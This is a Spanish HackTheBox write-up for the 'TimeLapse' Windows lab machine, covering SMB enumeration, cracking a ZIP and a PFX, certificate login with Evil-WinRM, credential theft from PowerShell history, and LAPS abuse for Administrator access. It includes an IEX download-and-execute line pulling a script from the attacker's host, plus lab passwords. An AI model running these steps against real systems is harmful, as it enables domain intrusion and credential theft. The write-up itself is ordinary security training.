> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# Resolución de HackTheBox TimeLapse

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración SMB
* Descifrado de archivo ZIP protegido con contraseña (fcrackzip)
* Descifrado y lectura de archivo .PFX (crackpkcs12)
* Obteniendo acceso SSL con Evil-WinRM
* Fuga de información - Lectura del historial de Powershell del usuario (pivotaje de usuario)
* Abusar de LAPS para obtener contraseñas (Get-LAPSPasswords.ps1) (Escalada de privilegios)
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.<br>

<figure><img src="/files/5029f573136760536c683d2ee593bbc7ef626c0b" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/2f79313ed9ae863cd153060a1eea2ade50ef3810" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="/files/32056327279278a5e8b18f32c763c8ae7aaf0461" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/b4a4f2c6adce63a651362d3dee99b19a8dc7998c" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="/files/39d8d7086bf10e59d635a4386082a78e062e3feb" alt=""><figcaption></figcaption></figure>

#### Configuración del archivo /etc/hosts para la resolución DNS.

<figure><img src="/files/2d2857cdeccdd35cd34b8b61e0988ba22b31516f" alt=""><figcaption></figcaption></figure>

## **Enumeración y explotación:**

### Identificar el nombre de la máquina y el dominio

Uso de CrackMapExec para identificar el nombre de la máquina y su dominio.

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="/files/22d84b1cfa4d52f070d4fcb6828d3029cb70ac6f" alt=""><figcaption></figcaption></figure>

### Listar archivos compartidos con SMB:

Uso de smbclient y smbmap para listar archivos compartidos.

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="/files/45f83e91e03757baefeb7d553ea4e71865b90617" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="/files/f08201d745a28054c97d33efa6b5695ad8acedce" alt=""><figcaption></figcaption></figure>

### **Acceso a la carpeta compartida y descubrimiento de un archivo ZIP protegido con contraseña**

Exploración e identificación de archivos en la carpeta compartida, revelando un archivo ZIP protegido.

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="/files/edfd8c2b9d62cd01256c8a87b70f1ba8e6633895" alt=""><figcaption></figcaption></figure>

### **Crackeo del archivo ZIP con fcrackzip**

Uso de fcrackzip para intentar encontrar la contraseña del archivo ZIP.

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="/files/0f4760cb08cc39225a04e7b97330ecf59280abd2" alt=""><figcaption></figcaption></figure>

### **Extracción desde archivo .PFX**

<figure><img src="/files/4b231a4fb75cebaa2c271f5c0a481509c873a661" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="/files/47f943ce81f0d58a786b90755ee19a29b19138bd" alt=""><figcaption></figcaption></figure>

### **Descifrar la contraseña del archivo .PFX:**

#### Para descifrar un archivo pfx mediante el crackeo de la contraseña, se utilizará la herramienta crackpkcs12.

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="/files/6e9cb89a1199367de28f6850907f484bff18af16" alt=""><figcaption></figcaption></figure>

### **Obtener la clave privada y el certificado del archivo .PFX**

Recuperación de la clave privada

<figure><img src="/files/7d0fc9388d374a138b348f2e67ca6702327d7b3e" alt=""><figcaption></figcaption></figure>

Recuperación del certificado

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="/files/931f652ed1266126847f4422e957aaadf3de5db0" alt=""><figcaption></figcaption></figure>

### **Conexión SSL con Evil-WinRM usando la clave privada y el certificado**

<figure><img src="/files/342b2174638e595e2473b14ee9f659ab2874c29d" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="/files/3169fa916aad15d5ef402c7ba3fcb685bb2bbc2f" alt=""><figcaption></figcaption></figure>

### **Obtener la primera bandera**

Obtención de la primera bandera, "user.txt"

<figure><img src="/files/e1e46bdb6dd2d90fa3f50422f5750113dadbae01" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios:

**Lista de usuarios y privilegios del DC con net users y whoami /priv**

Identificación de usuarios y privilegios en el controlador de dominio.

<figure><img src="/files/75e583f1bee3ebf379386b6add39c8a2b5a1ab2f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cadc0066cb234e8f4247950ebc6cd025d862b6b9" alt=""><figcaption></figcaption></figure>

#### **Análisis de los grupos de usuarios y descubrimiento de la pertenencia del usuario "svc/ deploy" al grupo "LAPS/ Readers"**

<figure><img src="/files/541dc0f55173982783b2037cd085f7d667857687" alt=""><figcaption></figcaption></figure>

#### **Obtener la contraseña del usuario "svc/ deploy" leyendo el historial de PowerShell**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="/files/2c9da78bf3305467fc0d70c6c2f7ca524b92f7fd" alt=""><figcaption></figcaption></figure>

### **Validación de la contraseña con CrackMapExec**

Confirmación de la validez de la contraseña obtenida usando CrackMapExec.

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="/files/f1d758265fd6eff5519543f7d2a5fc6e3034939d" alt=""><figcaption></figcaption></figure>

### **Inicio de sesión en Evil-WinRM usando las credenciales del usuario "svc/ deploy"**

Conexión al sistema remoto usando las credenciales del usuario "svc/ deploy" con Evil-WinRM.

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="/files/eaf492a71ab1d098a6ed1c3a6479161405e77840" alt=""><figcaption></figcaption></figure>

### **Uso de Get-LAPSPasswords para extraer contraseñas**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **Descargar el script Get-LAPSPasswords**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="/files/e4dc7187b51f61dd218fc5539c0cd6a8b150e251" alt=""><figcaption></figcaption></figure>

### **Ejecución del script y recuperación de contraseñas administrativas**

<figure><img src="/files/9f5f018c8cafecf4a554c82ed97f02ad8edf401b" alt=""><figcaption></figcaption></figure>

### **Validación de la contraseña de administración con CrackMapExec**

Confirmación de la validez de la contraseña obtenida usando CrackMapExec desde el usuario Administrador.

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="/files/21fdf81dedb07fb548aaf1e4c08bc26187785339" alt=""><figcaption></figcaption></figure>

### **Conexión final con Evil-WinRM usando las credenciales de administrador**

Conexión final al sistema con credenciales administrativas mediante Evil-WinRM.

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="/files/0659e19346e6a70415031d5e3ccd584dca242cb3" alt=""><figcaption></figcaption></figure>

### **¡Bandera final obtenida :)**

<figure><img src="/files/ecaeb17e25620569905541794432b6ed1f687c84" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9e7359d70793b172ec0a2bedcb81bea57d0ce53a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
